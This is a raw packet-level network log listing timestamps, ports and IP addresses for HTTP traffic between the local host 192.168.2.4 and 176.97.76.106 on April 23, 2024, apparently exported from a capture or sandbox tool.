Apr 23, 2024 09:38:03.791460991 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.791486025 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.791521072 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.791557074 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.791563988 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.791591883 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.791604042 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.791627884 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.791663885 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.791702986 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.791714907 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.791738987 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.791749954 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.791774988 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.791810036 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.791845083 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.791879892 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.791879892 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.791903019 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.791917086 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.791953087 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.791976929 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.791987896 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.792022943 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.792062044 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:03.792076111 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:03.792125940 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.024938107 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.024972916 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.024990082 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025005102 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025021076 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025037050 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025053024 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025058031 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.025068998 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025078058 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025094032 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025109053 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025125027 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025139093 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025146008 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.025155067 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025171041 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025172949 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.025186062 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025197029 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.025201082 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025217056 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025232077 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025238991 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.025249004 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025258064 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025262117 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.025265932 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025280952 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025298119 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025301933 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.025312901 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025329113 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025345087 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025346994 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.025361061 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025371075 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.025376081 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025392056 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025407076 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025418043 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.025423050 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025438070 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025445938 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025450945 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.025454044 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025469065 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025484085 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025485039 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.025500059 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025501966 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.025515079 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025530100 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.025530100 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025544882 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025561094 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025573969 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.025576115 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025593042 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025597095 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.025608063 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025624990 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025625944 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.025640011 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025655031 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025655031 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.025670052 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025693893 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.025696039 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025712013 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025727987 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025743008 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025743961 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.025758028 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025773048 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025774002 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.025788069 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025803089 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.025804043 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025819063 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025830030 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.025834084 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025844097 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025857925 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025873899 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025882959 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.025890112 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025904894 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025913000 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.025922060 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025935888 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025950909 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.025950909 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025966883 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025966883 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.025981903 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.025996923 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026010036 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.026012897 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026021004 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026036978 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026053905 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026055098 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.026068926 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026084900 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026093006 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.026099920 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026115894 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026119947 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.026130915 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026146889 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026154995 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026170969 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026176929 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.026186943 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026201963 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.026202917 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026217937 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026233912 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026243925 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.026249886 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026264906 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026267052 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.026279926 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026295900 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026312113 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026314020 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.026328087 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026338100 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.026343107 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026359081 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026364088 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.026375055 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026390076 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026391983 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.026405096 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026421070 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026427031 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.026437044 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026452065 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026460886 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026468992 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026483059 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.026484013 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026500940 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026503086 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.026519060 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026532888 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.026534081 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026550055 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026565075 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026570082 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.026580095 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026595116 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026611090 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026612997 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.026627064 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026639938 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.026640892 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026657104 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026667118 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.026673079 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026689053 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026693106 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.026705980 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026721001 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026726961 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.026736021 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026751041 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026766062 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026782036 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026782036 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.026797056 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026812077 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026824951 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.026827097 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026835918 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026846886 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.026849985 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026865005 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026865959 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.026881933 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026896954 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026904106 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.026912928 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026928902 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026928902 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.026945114 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026958942 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026974916 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.026978016 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.026989937 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.027004004 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.027005911 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.027020931 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.027028084 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.027035952 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.027050972 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.027054071 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.027066946 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.027081966 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.027091026 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.027096987 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.027112007 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.027113914 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.027127981 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.027143002 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.027144909 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.027158976 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.027173042 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.027189016 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.027190924 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.027205944 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.027219057 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.027221918 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.027237892 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.027241945 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.027254105 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.027268887 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.027268887 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.027285099 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.027299881 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.027314901 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.027314901 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.027329922 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.027333021 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.027345896 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.027360916 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.027378082 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.027405024 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.027626038 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.226773977 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:04.260164022 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.260221004 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.260260105 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.260298014 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.260298967 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.260339022 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.260376930 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.260380030 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.260413885 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.260440111 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.260453939 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.260493040 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.260529041 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.260549068 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.260584116 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.260622025 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.260658026 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.260688066 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.260693073 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.260688066 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.260688066 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.260729074 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.260740995 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.260765076 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.260778904 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.260799885 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.260838032 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.260853052 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.260874033 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.260915995 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.260932922 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.260953903 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.260992050 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.261007071 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.261029959 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.261065006 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.261101961 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.261111975 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.261140108 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.261143923 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.261176109 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.261215925 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.261251926 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.261259079 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.261290073 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.261297941 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.261324883 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.261360884 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.261369944 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.261399031 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.261435032 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.261445999 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.261471987 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.261507988 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.261521101 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.261543989 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.261580944 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.261595011 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.261617899 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.261653900 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.261660099 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.261691093 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.261729002 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.261749983 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.261765003 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.261801004 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.261826038 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.261837959 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.261874914 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.261908054 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.261910915 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.261951923 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:04.261957884 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:04.261986017 CEST	80	49734	176.97.76.106	192.168.2.4
